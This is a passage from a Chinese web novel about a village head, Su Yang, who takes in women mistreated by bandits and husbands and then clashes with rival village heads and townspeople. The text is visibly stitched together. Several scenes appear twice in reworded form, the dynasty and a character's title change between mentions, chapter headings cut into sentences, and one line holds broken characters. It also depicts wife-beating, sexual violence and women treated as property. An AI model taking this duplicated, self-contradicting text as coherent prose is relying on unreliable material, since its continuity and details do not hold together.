“大嫂,你打算放弃自己的家吗?” “不回了!” 勇二老婆的回答斩钉截铁,没有一丝犹豫,仿佛那个所谓的“家”是什么洪水猛兽。 “那个家……那里早就不是我的归宿,那个地方我一步都不想踏进去!” 她的声音不大,却透着一股子决绝,像是要把过去的一切都彻底斩断。 “那……你爸妈和亲人都去哪了?你问过他们的意见没有?” 苏阳继续追问,语气平淡,却步步紧逼。 “我没爹没娘,也没儿没女,其他人……与我无关!” 勇二老婆的目光始终低垂,说话时看都没看勇二一眼,仿佛站在那里的,只是一个毫不相干的陌生人。 她的表情木然,却又透着一股子破釜沉舟的决绝。不难猜出,她是真的被勇二伤透了心。 苏阳暗自点头,这女人倒也干脆,没有那些无谓的牵绊。 之前刚见着勇二那会儿,这女人眼中还闪着和亲人重逢的惊喜,带着被恶徒欺凌后的痛苦,还带着一丝对未来安稳日子的微弱憧憬…… 可勇二呢? 别说关心安慰了,居然扭头就跑! 这行为,简直就像一把尖刀,狠狠捅进她本就滴血的心窝。 勇二眼见自己老婆连个眼神都不给自己,仿佛自己是个透明人,心头的怒火再也压制不住,像一头被激怒的野兽,猛地跳起来,扯着嗓子就骂开了: “你个臭不要脸的破烂货!给老子滚回来!” 话音未落,他一个箭步冲上去,扬手就是一个大嘴巴子! “啪”的一声脆响,在寂静的人群中显得格外刺耳,把在场的人都给震住了,连呼吸都下意识地放轻了几分。 “你个丢人现眼的玩意儿,看老子不打死你!” 勇二似乎还不解气,眼睛瞪得通红,胳膊抡圆了,眼瞅着又要朝那张已经红肿的脸扇过去。 路旭东离得最近,眼疾手快,一把抓住勇二的手腕,硬生生把那一巴掌给拦了下来。 勇二没打着,恼羞成怒,抬腿又是一脚,直接把勇二老婆踹了个趔趄,险些跌倒在地! “他娘的好胆!” 不用苏阳吩咐,路旭东直接就炸了,像一头发怒的小狮子。 他“蹭”地蹿起来,想都没想,照着勇二肚子就是一拳! “你他娘的窝囊废!护不住自家婆娘,这会儿耍什么威风?早干嘛去了?她遭罪的时候你在哪儿?装死吗?” 路旭东年纪轻,血气方刚。 苏阳平日里教的东西,他都记在心里。尤其是刚才苏阳那番话,更让他对勇二这种人渣深恶痛绝。 勇二这行为,简直就是对苏阳的挑衅! 眼瞅着这就要动手打起来,临溪村的村正王麻山再装傻可就说不过去了。 他几步跨过来,一把拽住还要往上冲的勇二: “勇二!你个混账东西,吃了熊心豹子胆了?敢在老子面前撒野?把你家那口子扶回去!” 勇二是他临溪村的人。众目睽睽之下对妻子动手,这不仅是丢临溪村的脸,更是不给苏阳面子。 苏阳眼睛微微眯起,眼缝中闪过一道寒光。 他语气平静地开口,声音却让在场的所有人都听得一清二楚: “王老哥,看来……你们村这风气,不大好啊。” 王麻山的脸色瞬间变得铁青。 这话,可比直接骂他还难听。 这是在说他治村无方,连个男人都管不住! 王麻山心中恼火,却又不敢对苏阳发作,只能把气撒在勇二身上。 他瞪着勇二,厉声喝道:“还愣着干啥?等着老子请你?” 勇二这下不敢再造次,悻悻地去扶他老婆。 谁知,勇二老婆这次是铁了心,身子一扭,直接躲开了勇二伸过来的手: “滚开,别碰我!咱俩已经是路人了!你要是再敢动我一下,你就是猪狗不如的畜生!” 她声音尖利,带着一股子豁出去的狠劲儿。 苏阳暗自点头,这女人,有点意思。 勇二平日里作威作福惯了,哪里受过这种气,顿时火冒三丈: “你个贱人,反了天了!要不要跟我一起回家?” “不回!” 勇二老婆斩钉截铁。 “你再说一遍!” 勇二眼睛都红了,抬手又要打。 “够了!” 苏阳冷喝一声,打断了勇二的动作。 “王老哥,这事儿……你打算怎么处理?” 苏阳把问题抛给了王麻山。 王麻山心里这个憋屈,心说你小子倒是会踢皮球。 可眼下这情况,他也不好再和稀泥。 他沉吟片刻,开口道:“勇二,你家这婆娘……你还要不要?” 勇二一愣,随即梗着脖子道:“要!咋不要?她是俺婆娘!” “放屁!” 王麻山怒骂一声,“你还有脸说!你刚才干的那叫人事儿?从今往后,她跟你没关系了!” “郑村正,你……” 勇二急了,刚想争辩,却被王麻山一个眼神给瞪了回去。 “闭嘴!这事儿就这么定了!” 王麻山转头看向苏阳,挤出一个难看的笑容: “苏老弟,你看……这么处理行不?” 苏阳还没来得及说话,一个沙哑的声音突然响起: “慢着!” 众人循声望去,只见吕管事拄着拐杖,一瘸一拐地走了过来。 “吕管事,您……” 王麻山一脸惊讶。 吕管事摆了摆手,示意他闭嘴。 “王麻山,你少在这儿和稀泥!这事儿……老子说了算!” 吕管事一瘸一拐地走到人群中间,眼神扫过在场众人,最终落在苏阳身上。 “苏老弟,这个女人,老夫替你做主,归你了! 第二百三十一章 让她甩掉那个废柴!” 这话说得斩钉截铁,不容置疑。 王麻山张了张嘴,想说点什么,可最终还是把话咽了回去。 吕管事都这么说了,他还能说什么? 他只能在心里暗骂吕管事多管闲事。 “勇二,你可听清楚了?从今往后,你跟这女人,再无瓜葛!你们和离了!” 王麻山转头看向勇二,语气冰冷。 勇二脸色煞白,嘴唇哆嗦着,一句话也说不出来。 他怎么也没想到,事情会变成这样。 自己……就这么被休了? 在三溪镇,这可是破天荒头一遭! 以后,他还怎么在村里抬起头来?王麻山就是临溪村的天,他拍板的事,谁敢说个不字?勇二心里再憋屈,也只能把苦水往肚子里咽,谁让他没用呢。 “咚!咚!” 闷响声中,两个身影跪在了苏阳面前,脑袋低垂,看不清面容。 “苏村正,我们……想去青龙村,给您……端茶倒水,做牛做马都成!” 话没说完,其中一个女人已经泣不成声,单薄的肩膀不住地颤抖。 苏阳微微蹙眉,事情的发展有些出乎他的意料。原本他以为,这些女人会先各自回家,实在熬不下去,才会来投奔。 “都起来,先说说你们的情况。” 苏阳侧过身,避开两人投来的目光。先摸清底细,再做定夺也不迟。 第一个女人,声音沙哑,像是 ????????????没说过话。她来自清水村,原本和丈夫一起被土匪掳上山,日子过得猪狗不如。 她之所以下定决心要跟苏阳走,是因为被她叫做丈夫的那个男人,为了苟活,竟然亲手将她送给了土匪!不仅如此,他还死死按住她,任由那些畜生…… 说到这里,她哽咽着说不下去,只是拼命摇头,泪珠滚滚而落。 之后的事,她不愿再提,苏阳也没有追问。那个狼心狗肺的丈夫是死是活,她无从得知。 另一个女人是三溪镇人,原本是出嫁的喜事,却在半道上被土匪劫走。 和前一个女人不同,她的未婚夫倒是逃过一劫,只是……他跑了,撒腿就溜! 那一刻,她只觉得天旋地转。 这种境况下,就算她能回去,又能如何?娘家嫌她丢人,婆家更不会要一个残花败柳,就算不被一纸休书赶出门,也会被搓磨至死,好再娶一个黄花闺女! 苏阳沉默片刻,轻叹一声:“罢了,你们……就先跟着我吧。” 眼下他最缺的就是人手,来者不拒。这大元朝或许轻视女人,但苏阳却明白,女人能顶半边天,很多事情,男人反而做不来。 听了几人的哭诉,原本还心存轻视的乡勇们,也渐渐软化下来。 谁还不是爹娘生的?只是观念不同罢了。真要听了这些女人的悲惨遭遇,谁又能硬起心肠? 再看向苏阳,乡勇们的目光中,少了轻视,多了敬佩。 “苏村正,真英雄!” 也不知是谁喊了一句,一群乡勇纷纷开始起哄,声浪一阵高过一阵: “苏村正,仗义!” “苏村正,听说青龙村缺匠人,我……我是个木匠,您看……要不要?” 一个汉子鼓起勇气,挤到苏阳面前,一脸希冀。 “多谢苏村正救命之恩!” “苏村正让人给我治了伤,真是活菩萨!” “……” 大元朝的百姓,大多还保留着朴素的价值观,知恩图报,落井下石的事很少发生。 苏阳今日救了这么多人,等于种下了善因,日后必有善果。这些人欠了他的人情,将来他若有难,这些人就必须出手相助,否则,脊梁骨都会被人戳断。 这可不是后世,那些被救了还要反咬一口的人渣,在这里可没活路。 苏阳没有得意忘形,有人道谢,他便抱拳回礼,姿态放得很低。 从寨子到山下,这一路,苏阳不知抱了多少拳,还了多少礼,脸都快笑僵了。 跟在苏阳身边的青龙村乡勇,一个个腰杆挺得笔直,与有荣焉。就连赖志成的那几个狗腿子,也觉得脸上增光不少。 曾经追随赖志成,虽然威风,可没人真心感谢他们。 那种感觉,和现在这种受人敬佩、感激的感觉相比,苏泥之别! 几个狗腿子交换了一下眼神,都在心里暗暗发誓:回去后,一定好好表现,争取得到苏阳的原谅,以后就跟着他混了! 说白了,还是怕死。卓明远死得那么惨,他们可不想步其后尘! 来时士气低落,归途却格外迅速。 青虎岭到临溪村,不过五里地,转眼就到。 大车上躺着两个临溪村的重伤员,先前已有乡勇回去报信,此刻村口早已聚满了人,翘首以盼。 “他爹啊!你可算回来了!” “当家的,你可不能丢下我们娘俩啊……” 哭喊声瞬间响彻夜空,撕心裂肺。 苏阳没有停留,将伤员交给他们的家人后,便带着队伍匆匆离去。 这些伤员的家眷哭得悲惨,但比起那些丢了性命的人家,他们至少还留了条命,还能见到亲人。 如果这是在青龙村,他或许还会给些抚恤。但这里是临溪村,他不能越界,否则就是打王麻山的脸,平白树敌。 他刚收拾了赖志成,青龙村还未完全稳固,不宜四处树敌。再说,他也不是救世主,天下可怜人多了,他哪管得过来? 绕过临溪村,再往北五里,便是三溪镇。 作为吕巡检的辖地,这次攻打青虎岭,三溪镇的乡勇死伤最多。苏阳他们刚到镇外,就见乌泱泱的人群迎面而来。 “儿啊!你死得好惨啊!” “我的天杀的,你怎么就这么走了……” 哭声震天,悲恸欲绝。三溪镇的人,这次真是伤亡惨重! 这些死伤者的家属,自有吕巡检去安抚,轮不到苏阳出面。他把重伤的吕管事等人送回各自家中,便带着青龙村的人马,径直去了眼煞豹的赌馆。 从早到晚,又是赶路,又是厮杀,哪怕是苏阳这样的壮汉,也感到身心俱疲。那些才吃上几天饱饭的乡勇,更是早已到了极限,能撑到现在,全凭一口气。 “今晚就在这里歇下,好好睡一觉。等事情处理完,咱们就回家!” 苏阳朝众人说道,声音里也透着疲惫。夜幕低垂,三溪镇像一只受伤的巨兽,喘息着,呻吟着。 赌馆门口,昏黄的灯光有气无力地照着。 “远山,”苏阳叫住正要出门的孔远山,浓眉紧锁,“带上几个人,备些干粮,骑快马回村!” 他顿了顿,目光像要把孔远山看穿。 几辆大车,到底装了什么?石头带的那三十个新兵蛋子,能顶什么用? 第二百三十二章 这些念头如同滚刀肉,在他心里翻来覆去,搅得他心神不宁。 三溪镇剿匪,各村都有死伤。可恨那吕巡检,为了表功,非要让各村乡勇回镇集合,若不然,他早就飞马回村了。 “记住,看看石头他们是否到家。要是没啥事,你就留在村里,别跟着瞎跑。但凡有丁点不对劲,你亲自跑回来告诉我,快去快回!” “得嘞!”孔远山也知道这事不能马虎,应了一声,点了几个腿脚麻利的手下,牵了赌馆里的几匹马,匆匆出了门,消失在夜色里。 孔远山走了,苏阳稍微松了口气。 他了解孔远山的性子,虽然滑头,但遇到正经事,还是靠得住的。 苏阳转身回屋,刚迈进门槛,又停下了脚步。 他还是不放心。 赌馆里头,横七竖八躺着的人,打着轻微的鼾声,像一群待宰的猪。 这些人,说白了就是一群乌合之众,平时在村里欺负欺负老实人还行,真要拉上战场,还不是一群怂包? 指望他们卖命,还不如指望母猪上树。 “都起来,吃完饭,今晚就在这儿歇下。明天办完事,就回村!” 苏阳的声音提高了八度,像是给这群软骨头打气,更像是在给自己打气。 他知道,这些人巴不得立马回家抱老婆。 可是不行,他得把他们牢牢地攥在手里。 他是这支队伍的主心骨,他不能垮。 人员咋安排,晚饭吃啥,夜里咋守着…… 一桩桩,一件件,都得他拿主意。 真是缺人啊,他头疼地想。 哪怕有几个能跑腿的,也不至于这么累。 正烦着,外头传来一阵说笑声。 “苏老弟啊,你这儿的饭菜,可比咱们那儿的猪食强多了!” 王麻山那张老脸,笑得像朵菊花,带着几个村正,大摇大摆走了进来。 苏阳眼皮一跳,心里暗骂:这几个老东西,也不怕折寿,村里死了那么多人,还有心思吃喝? 他强忍着心里的厌恶,挤出一丝笑容:“几位老哥,啥风把你们吹来了?” “这不,听说你小子发财了,来你这儿打打秋风!”王麻山毫不客气,一屁股坐在凳子上。 几个人落座,酒菜流水般端上来。 他们说是来打秋风,其实是来探口风的。 几个村正你一筷子,我一勺子,吃得满嘴流油,还不忘打听这次剿匪各村的损失。 苏阳越听,心越往下沉。 三溪镇这次,算是栽了个大跟头。 吕巡检为了在上面邀功,把各村的乡勇都推到了前头。 王麻山这老狐狸,一看势头不对,脚底抹油溜得快,临溪村的损失倒是不大。 其他几个村子就没这么好运了。 临溪村、依山村,都死了好几个,伤的更是一大片。 清水村…… 村正都死了,现在乱成一锅粥,死伤多少,谁也说不准。 几个老狐狸私下里合计,清水村这次不死上一二十个,这事儿不算完。 这还只是几个村子的损失。 三溪镇的乡勇,更是被吕巡检当成了炮灰,顶在最前面。 “听说,吕巡检手下的弓手也折了几个人?”苏阳冷不丁地问了一句。 “何止几个!”一个村正撇了撇嘴,“他手下那帮人,平时吃香的喝辣的,真到了动真格的时候,一个比一个怂。我亲眼看见,死了得有七八个,还有十几个躺在地上装死!” “吕管事也挂彩了?”苏阳又问道。 “那老小子,命大着呢!”王麻山哼了一声,“不过,也够他受的,听说伤了腿,以后怕是要瘸了。” “苏老弟,要说还是你厉害!”另一个村正竖起了大拇指,“我们这几个村落,就属你们这边受创最轻,高,实在是高!” 苏阳心里冷笑,脸上却装出一副悲痛欲绝的样子,声音都有些哽咽了:“几位老哥,你们这是……我们青龙村损失最小?你们怕是不知道,为了救人,我们村死了三十多个好兄弟啊!” “哎呀,苏老弟,你看我这嘴!”王麻山一拍大腿,装模作样地说道,“我怎么把这茬给忘了!真是该死!该死!” “旭东,去,把郑村正的饭碗给收了!”苏阳板着脸吩咐道。 “得嘞!”路旭东二话不说,过去就把王麻山的饭碗给夺了过来。 “上了年纪的人,记性不好,吃多了浪费粮食。”苏阳补了一句。 王麻山气得脸都绿了,指着苏阳的鼻子,半天说不出话来。 苏阳根本不理他,目光扫过在座的村长们,沉声问道:“几位老哥,你们说句公道话,我们青龙村这次,损失大不大?” 几个村正互相看了看,哪还敢说实话? “大!绝对大!”一个村正斩钉截铁地说道。 “苏老弟啊,你们青龙村这次,真是伤了元气啊!”另一个村正也跟着说道。 “苏老弟,这份情,老哥我记下了!以后有啥事,你尽管开口!”第三个村正拍着胸脯保证道。 几个村正争先恐后地表态,生怕说慢了,苏阳也把他们的饭碗给收了。 他们可不想像王麻山那样,只能干看着,吃不着。 苏阳准备的晚饭实在太诱人了,那红烧肉,肥而不腻,入口即化,比他们过年吃的肉都香。 平时,他们这些村正,一个个都抠得要死,舍不得吃好的。 今天好不容易在苏阳这里开了荤,谁会跟自己的肚子过不去? 王麻山看着这几个墙头草,气得直翻白眼。 他心里跟明镜似的,这几个老家伙,没一个好东西,表面上称兄道弟,背地里都不知道怎么算计对方呢。 村子之间那点破事,谁不清楚? 为了争点水,争块地,都能打出人命来,还指望他们一条心? 他心里明白,这几个老家伙也怀疑苏阳在说谎,青龙村的伤亡根本没那么多。 但这又有什么用? 各怀鬼胎,谁也别想从苏阳嘴里问出个所以然来。 酒足饭饱之后,几个村正打着饱嗝,摇摇晃晃地走了。 苏阳站在院子里,抬头望着天上的月亮。 月亮又圆又亮,可他心里却空落落的。 他得好好想想,接下来该怎么办。 突然,一阵脚步声传来。 三个女人走进了院子。 其中一个,是勇二媳妇,虽然生过孩子,但身材还算匀称。 一个是先前从土匪手里救下的三溪镇的姑娘,年纪轻轻,模样俊俏。 还有一个,也是村里的,苏阳叫不上名字,只知道是个寡妇。 “你们这是……”苏阳有些疑惑。 “小东人,”勇二媳妇上前一步,轻声说道,“以后,我们就是您的人了,有什么事,您尽管吩咐。” 她说着,从另一个女人手里接过一件外衣,披在了苏阳的身上。 第二百三十三章 苏阳一个激灵,险些没从床上直接蹦起来。 两世为人,上辈子是无父无母的孤儿,这辈子好不容易才有了点“家”的感觉,可不能就这么不明不白地没了! “几位大嫂……” 刚一开口,苏阳就觉得不妥,连忙改口: “几位大姐……” 话到嘴边,还是觉得别扭。 “算了,你们各自报个名吧,以后我也不能总是大嫂大姐的叫,这算怎么回事!” 为了避免尴尬,苏阳决定岔开话题。 自从铁了心要跟着苏阳,几个女人就已经做好了最坏的打算。 如今兵荒马乱的,世道艰难,苏阳就是她们的依靠,她们的天,自然不敢有丝毫违逆: “奴家……樊小娥……” 勇二媳妇不姓牛,名叫樊小娥,声音细若蚊蝇,头几乎要低到胸口。 “奴家……方二姐……” 清水村那个被丈夫出卖的苦命女人,名叫方二姐,说话时身子微微颤抖,显然还没从之前的遭遇中缓过神来。 “奴家……费小妹……” 三溪镇那个唐家姑娘,名字倒是挺传统,叫费小妹,怯生生地看了苏阳一眼,又飞快地垂下眼帘。 苏阳挠了挠头。 樊小娥? 这名字听着怎么这么耳熟,好像在哪部剧里听过似的,还带着那么一丝……让人躁动的气息? 苏阳定了定神,他知道这年头女人没什么地位。 别说起什么好名字了,能有个名儿让人叫唤就不错。 方二姐,一看就是家里的老二。家里要是有妹妹,那肯定就是花三姐、花四姐,简单粗暴得很。 “几位,” 苏阳尽量让自己的语气显得严肃: “今儿个,有些话我得跟你们掰扯清楚,你们也得给我听明白了,记在心里。这话我就说这么一次,往后要是谁犯了,可别怪我不客气!” 苏阳这话一出口,自带一股村正的威严。 三个女人吓得一哆嗦,脸色都变了。 她们现在是苏阳的人,万一惹恼了这位爷,谁知道会落得什么下场! 看着眼前三个战战兢兢的女人,苏阳哭笑不得。 话还没说两句呢,就吓成这样。我要是真想做点什么出格的事,她们岂不是任由摆布? “咳咳……” 苏阳连忙收起那些有的没的,把跑偏的思绪拉回来: “我把你们留下来,是想让你们帮我做些事情,可不是让你们当丫鬟伺候人的,懂了吗?” 几个女人面面相觑,然后齐刷刷地摇头,显然没听懂苏阳话里的意思。 在她们看来,被苏阳收留,不就是给苏家当奴婢,伺候这位小东人吗?这还有什么别的说法? 苏阳也觉得自己说得有点绕了。 这些女人没读过什么书,说得太深奥,她们也听不明白。 “这么说吧,” 苏阳换了一种更接地气的说法: “往后你们跟着我,算是给我帮忙的,但不是卖给我的下人。你们帮我做事,我给你们发薪水。你们想来就来,想走就走,谁也管不着,明白了吗?” 这话一出,三个女人更慌了。 “扑通”几声,全都跪在了苏阳面前,一个劲儿地磕头: “小东人,您可千万别赶我们走,我们真的没地方可去了……” “这都是什么事啊!” 苏阳哭笑不得,怎么还越解释越乱了? “都起来,都起来,谁让你们磕头了?” 苏阳下意识地伸手去拉她们。 他这一伸手,三个女人还以为苏阳要对她们做什么。 起初还吓得往后躲,后来一想,躲也躲不过去。 索性心一横,眼一闭,一副听天由命的样子! “行了行了,都给我起来!” 苏阳没辙,只好沉下脸: “再不起来,我现在就把你们赶出去!” 要说还是这话管用,三个女人立刻乖乖站起身,老老实实地站在一旁,大气都不敢出。 “那个……小东人,要不,先给您打水洗脚?”樊小娥试探着问。 “要不……先给您暖床?”方二姐的声音有点发抖。 “小东人,我还会点推拿的手艺,要不给您捏捏肩?”费小妹小心翼翼地说。 苏阳:…… 苏阳算是看明白了,跟这些女人,好声好气地说话是没用的。 说轻了她们听不进去,说狠了她们就慌了。 没办法,苏阳只好退而求其次,接受了一些不那么“过分”的伺候。 比如让她们打打洗脚水,递个擦脚布什么的。 不然这几个女人心里不安生,总觉得苏阳嫌弃她们,随时都可能把她们扫地出门。 至于那些更进一步的“伺候”,苏阳是说什么也不肯接受的,起码现在不行。 苏阳把三个女人安排到了别的房间,自己则回屋睡觉。 他手底下那些小子,看到这一幕,总算是把悬着的心放回了肚子里。 看来苏阳还是有原则的,没被这几个女人迷了心窍。 这样一来,起码不用担心苏阳会因为这几个女人,做出什么出格的事情。 虽说苏阳一直强调要平等对待这些女人,但真要让手下这帮人把她们当成亲姐妹一样看待,那也是不可能的。 面子上过得去就不错了,心里怎么想的,那就只有天知道了。 苏阳也没指望能一下子改变所有人的看法。 这些事情急不得,得慢慢来。 他现在的心思,主要还是放在怎么壮大自己的实力上。 至于女人嘛,该保护的时候要保护,但也不能让她们蹬鼻子上脸。 苏阳心里有杆秤,他要的是一个既能让女人发挥作用,又不会让她们反客为主的局面。 …… 苏阳正躺在床上胡思乱想,突然一拍脑门。 “哎呀,坏了!” 他猛地坐起身来,这才想起,自己竟然忘了给赖志成请大夫! 那老小子伤得可不轻,这都过去一天一夜了,也不知道能不能挺得住! “老赖啊老赖,你可千万要撑住啊!等我忙完手头的事,一定……” 话还没说完,苏阳就打起了呼噜。 不得不说,心宽的人就是睡得香。 一觉醒来,天光大亮,苏阳只觉得浑身舒坦。 这段时间,青虎岭的土匪就像悬在他头顶的一把刀,随时都可能落下来。 现在好了,土匪的老窝被端了,就算还有几个跑掉的,也成不了什么气候。 此消彼长,苏阳的实力大大增强。 手下多了一帮见过血的弟兄,自己还坐上了青龙村村正的位子。 只要再给他一些时间,连土匪都不敢惹他,他不去找土匪的麻烦就谢天谢地了! 苏阳心里高兴,青龙村的乡勇们可就遭了殃。 “都给我起来,起来!太阳都晒屁股了,还不起床?” “都给我精神点,别跟没吃饭似的!” “今天训练加倍,谁要是敢偷懒,看我不抽他! 第二百三十四章 ” …… 苏阳一声令下,原本还睡眼惺忪的乡勇们顿时一个激灵,哪还敢有半点怨言。 昨天刚经历了一场血战,乡勇们个个都疲惫不堪。 尽管休息了一夜,许多人还是觉得浑身酸痛,像是散了架一样。 可苏阳不管这些,他要的就是趁热打铁,把这帮人练成一支铁军! “这苏村正,心也太狠了……” “可不是嘛,咱们这都快累死了,他也不让歇会儿……” “嘘……小点声,别让他听见……” 乡勇们嘴上抱怨,心里却比谁都清楚,这个时候可不是偷懒的时候。 看看三溪镇上那些挂着白布的人家吧! 哪家挂了白布,就说明哪家有人死在了昨天的战斗中。 谁想让自家也挂上白布? 不想的话,那就咬紧牙关,玩命练吧! 正当乡勇们挥汗如雨,练得热火朝天的时候,王麻山突然急匆匆地跑了过来: “我说苏老弟,你咋还有心思在这儿练兵呢?出大事了,你家出大事了!” 王麻山一脸焦急,额头上全是汗珠,好像发生了什么了不得的事情。“阳哥儿!村正!出事了!” 王麻山一路狂奔,带起一路烟尘,额头上的汗珠子像是断了线的珠子,噼里啪啦往下掉。 “咱们老窝被人抄了!你咋还有心思练兵呢?” 他喘着粗气,上气不接下气,显然是急坏了。 这话一出,青龙村的乡勇们瞬间炸了锅,像是一群被点燃了引线的炮仗。 “啥?老窝出事了?” “哪个王八羔子活腻歪了,敢动咱们青龙村?” “抄家伙!弄死他们!” 乡勇们眼珠子通红,脖子上青筋暴起,像是一头头被激怒的野兽,就差仰天长啸了。自家婆娘娃子要是有个三长两短,这往后的日子可咋过? 孔远山昨夜未归,苏阳还以为村里太平无事,没想到这么快就出了岔子! “老少爷们,操家伙,跟我杀回去!” 苏阳一声令下,中气十足。 “是,村正!” 乡勇们扯着嗓子吼,声震四野,士气如虹,仿佛下一秒就要把整个三溪镇都给掀翻了。 王麻山吓得一个趔趄,差点没一屁股坐地上,他还是头一次见到这么一群不要命的家伙。 他定了定神,结结巴巴地问:“我说苏老弟,你……你这是要去哪儿?” 说话间,他一把拽住苏阳的胳膊,死活不撒手,生怕他一去不复返。 苏阳猛地一瞪眼,眼里的凶光吓得王麻山手一哆嗦,差点没把苏阳的胳膊给掰折了: “老哥,多谢你报信!闪开,谁敢动我们青龙村,我要让他后悔来到这个世上!” 王麻山倒吸一口凉气,这小子身上的杀气简直能把人冻住!他甚至能闻到苏阳身上散发出的淡淡血腥味。 他心里打着小鼓,可还是硬着头皮说:“老弟,你误会了!我指的地盘可不是你们村,是……你们在集市安家的位置!” 最后一个字说出口,仿佛耗尽了他全身的力气,他甚至感觉自己的舌头都有些打卷。 现场突然安静下来,只能听到粗重的呼吸声。 所有人的目光,都集中在王麻山身上,像是要把他生吞活剥。 “王老哥,玩笑可不是这么开的!你再说一遍,究竟哪个地方出了问题?” 苏阳的声音冷得像冰碴子,每个字都像是从牙缝里挤出来的。 王麻山被盯得浑身发毛,感觉自己像是被一群饿狼包围的羔羊,腿肚子都开始抽筋,就差没给苏阳跪下了。 “呵呵……老弟,都怪我,嘴瓢了,没说清楚。”他干巴巴地笑了两声,挠了挠头, “你们在集市安家的位置出了状况,有人去闹事,并非你们青龙村!” 他赶紧把话又重复了一遍,这次说得清楚明白,生怕再引起什么误会。 “哼!” 苏阳没再搭理他,一挥手,拨转马头: “走,去镇上!” 身后,一众乡勇紧随其后,卷起漫天尘土,直奔三溪镇。 …… 苏阳还没到地方,老远就看见赌馆门口围了一圈人,内外重重包围,像是赶集一样热闹。 “这是唱的哪一出?” 苏阳心里嘀咕,难不成是有人来砸场子? 他催马向前,马蹄声在寂静的早晨格外响亮。 “吁……” 苏阳勒住缰绳,战马人立而起,发出一声嘶鸣。 他翻身下马,动作干净利落。 还没等他站稳,就听见一个尖锐刺耳的女声,像指甲划过玻璃,让人浑身起鸡皮疙瘩: “小娼妇,赶紧给我出来!” “还有你们两个小贱人,别挡道,给老娘爬开!” “什么狗屁青龙村,一群臭虫,也敢管我们三溪镇的事!” “三溪镇的乡亲父老,你们倒是说句话啊,这事能忍吗?” 这声音,就像是几百只鸭子同时在叫,吵得人脑仁疼。 苏阳皱了皱眉,这是谁家的婆娘,这么泼辣? 不用他吩咐,手下几个小子早就按捺不住,冲上去开路: “让开,让开!” “全都给我闪开!” 他们扯着嗓子吼,可周围的人群却像是没听见似的,该干嘛干嘛。 也是,镇上的人,平时就鼻孔朝天,谁会把几个泥腿子放在眼里? “听不懂人话是吧?看来你们是皮子痒了!” 苏阳冷冷地扫了众人一眼。 他话音刚落,几个小子顿时像是打了鸡血,抡起手中的长枪就往人群里招呼。 “哎呦!” “疼死老子了!” “杀人啦!” 惨叫声此起彼伏,没几下,堵在门口的人群就作鸟兽散,那速度,比兔子都快。 跑得慢的,身上都挂了彩,青一块紫一块,看着都疼。有人甚至还被抽掉了几颗牙,满嘴是血。 遭受这么大损失,三溪镇的人哪肯善罢甘休? 可当他们看到青龙村的乡勇们手里明晃晃的长枪,还有那一张张凶神恶煞的脸时,顿时就怂了。 真要动起手来,吃亏的肯定是自己。 “咱们走着瞧!” “这事没完!” 人群中有人撂下几句狠话,但很快就淹没在一片嘈杂声中。 关于青龙村的传闻,三溪镇的人们大都有所耳闻。 有人说,那些泥腿子之所以打败了青虎岭的土匪,是因为他们得到了某种神秘力量的加持。 更有人煞有介事的说,苏阳之所以能一巴掌拍死两个土匪头子,是因为他供奉了一位手段通天的神仙,而青龙村的乡勇们,就是那位神仙座下的鬼卒变的,专吃活人血肉。 这当然都是无稽之谈,但此时此刻,不少人宁愿相信这些都是真的。 毕竟,眼前这帮家伙,一个个跟疯狗似的,可不像是什么善茬。 “疼死老子了!” “别打了,别打了,我服了! 第二百三十五章 ” “快跑啊,这帮疯子!” 瞧见青龙村的村民们个个双目赤红,像是要择人而噬的野兽,许多人都吓破了胆,这算什么神仙高手,分明是从地狱里爬出来的恶鬼! 苏阳没有说话,他骑在马上,居高临下,目光如刀,缓缓扫过众人。 被他目光扫到的人,都不由自主地打了个寒颤,像是被一头猛兽盯上了一般。 阳光下,他胯下的战马高大威猛,一身黑亮的鬃毛闪闪发光。 而他本人,更是英气逼人,宛如一尊战神。 不少人心中都产生了一个疑问: 这真的是一个村正该有的气势吗?“哎呦……疼死老娘了!” “别打了,别打了,我……我服了!” “快跑啊,这帮杀千刀的疯子!” …… 三溪镇的街面上,人们远远地站着,指指点点,议论纷纷。 关于青龙村的传闻,他们耳朵里都快听出茧子了。 有人说,那帮泥腿子能打赢青虎岭的土匪,是因为走了狗屎运,捡了天大的便宜。 也有人说,苏阳能一巴掌拍死俩土匪头子,是因为他练了啥邪门的功夫,能请鬼上身。 更有人信誓旦旦地说,青龙村的乡勇压根就不是人,是苏阳从阴曹地府里招来的小鬼变的,专门吸人阳气,啃人骨头。 这些个鬼话,明眼人一听就知道是瞎扯淡。 可架不住这会儿心里头发毛,不少人宁愿信其有。 眼前这帮丘八,一个个眼珠子通红,跟狼崽子似的,谁看了不迷糊? 苏阳端坐在马背上,像一尊铁塔,脸上没啥表情,眼神却跟刀子似的,在人群里头刮来刮去。 他那眼神一扫过来,不管是谁,都觉得后脊梁骨直冒凉气,浑身的汗毛都竖起来了,就跟被啥吃人的猛兽盯上了一样。 大太阳底下,他胯下那匹马,显得格外雄壮,通体乌黑,鬃毛锃亮。 再看他本人,往那一坐,气势逼人,活脱脱就是从画里走出来的天兵天将。 不少人心里都打起了鼓: 这他娘的真是个村正? 说起来,苏阳这气质,也确实透着一股子邪乎劲儿,跟那些个泥腿子可不一样。 常言道,人靠衣装马靠鞍,这人啊,肚子里多装几本书,都能透出一股子文气,更别说苏阳这种两辈子都活过一遍的! 书读得多,知道的也多,再加上到了这晋朝,手里头没少沾血,苏阳身上不光有股子斯文气,还带着一股子狠劲,一股子让人琢磨不透的味儿。 这就是老人们常挂在嘴边上的儒将! 三溪镇这帮土包子,哪见过这阵仗?把苏阳当成下凡的神仙,倒也不稀奇! 苏阳也没心思搭理这些个闲人,一抖缰绳,催马就进了赌馆。 院子里头,横七竖八地站着几个人,看那身打扮,应该是三溪镇上的居民。 当间一个女人,看模样也就三十出头,两手往腰上一叉,那架势,跟个炮仗似的,一点就着。 她嘴里头正骂骂咧咧的,那叫一个难听。 被她骂的,不是旁人,正是勇二的媳妇樊小娥,还有清水村的方二姐。 另外还有俩青龙村的乡勇,都是上了年纪的,苏阳没让他们跟着练,就留在家里头生火做饭。 这么些人,愣是被一个女人指着鼻子骂,连个声都不敢吭,这女人得泼辣成啥样? 那妹子转身背向大门,正骂得起劲,压根就没注意到苏阳他们进来,嘴里头还跟机关枪似的“突突突”个不停: “费小妹,你个小娼妇,一天到晚就知道躲在屋里头装死,算个啥?有种你给老娘滚出来!看我不撕烂你的嘴!一把火烧了你这狐狸洞……” 骂完了费小妹,又开始拿方二姐和樊小娥开涮,啥“烂裤裆”、“骚\*\*”之类的脏话,就跟不要钱似的往外蹦。 